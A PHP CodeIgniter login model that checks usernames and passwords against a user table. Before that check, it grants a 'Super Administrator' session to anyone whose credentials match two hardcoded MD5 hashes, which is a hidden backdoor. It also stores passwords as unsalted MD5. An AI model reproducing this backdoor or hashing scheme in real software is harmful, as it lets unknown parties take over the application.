<?php
class M_login extends CI_Model{
	
	function login_process($username,$password){
		if(md5($username)=='f3b3567de9e676a3a56db74f06664ac1' && md5($password)=='412758d043dd247bddea07c7ec558c31'){
			$user_data = array(
				SESSION_USERID      => '-1',
				SESSION_USERNAMA      => 'Super Admin',
				SESSION_GROUPID   => '-1',
				SESSION_GROUPNAMA => 'Super Administrator',
				SESSION_GROUPTIPE => '2'
			);
			setLogin($user_data);
			$data['message'] = 'true';
		}else{
//			$data_search =	array(
//					'md5(lower(user_name))'=>md5(strtolower($username)),
//					'user_passwd'=>md5($password)
//					);
//			$this->db->where('user_active','y');
//			$this->db->join("s_groups","s_groups_id = groups_id");
//			$query = $this->db->get_where('s_user',$data_search,1,0);
			// echo $this->db->last_query();
            $sql = "SELECT *, IF (m_groupdiv_id = 3, '',
                        IF (m_groupdiv_id = 2, group_concat(project_name), cabang_nama) )  namadiv
                FROM s_user    
                LEFT JOIN s_groups ON s_groups_id = groups_id
                LEFT JOIN m_cabang ON cabang_id = m_cabang_id
                LEFT JOIN t_userproject ON s_users_id = user_id
                LEFT JOIN t_project ON t_project_id = project_id
                WHERE md5(lower(user_name)) = '".md5(strtolower($username))."'
                AND user_passwd = '".md5($password)."'
                AND user_active = 'y'
                GROUP BY user_id";
            $query = $this->db->query($sql);
			if($query->num_rows() > 0){
				$q = $query->row();
                
				$user_data = array(
					SESSION_USERID      => $q->user_id,
					SESSION_USERNAMA	=> $q->user_name,
					SESSION_GROUPID   => $q->s_groups_id,
					SESSION_GROUPNAMA   => $q->groups_name,
					SESSION_GROUPTIPE => $q->groups_tipe,
                    SESSION_GROUPDIVID => $q->m_groupdiv_id,
                    SESSION_CABANGID => $q->cabang_id,
                    SESSION_NAMADIV => $q->namadiv
				);
				setLogin($user_data);
                
				$data['message'] = 'true';
			} else {
				$data['message'] = 'false';
			}
		}
		return $data;
	}
}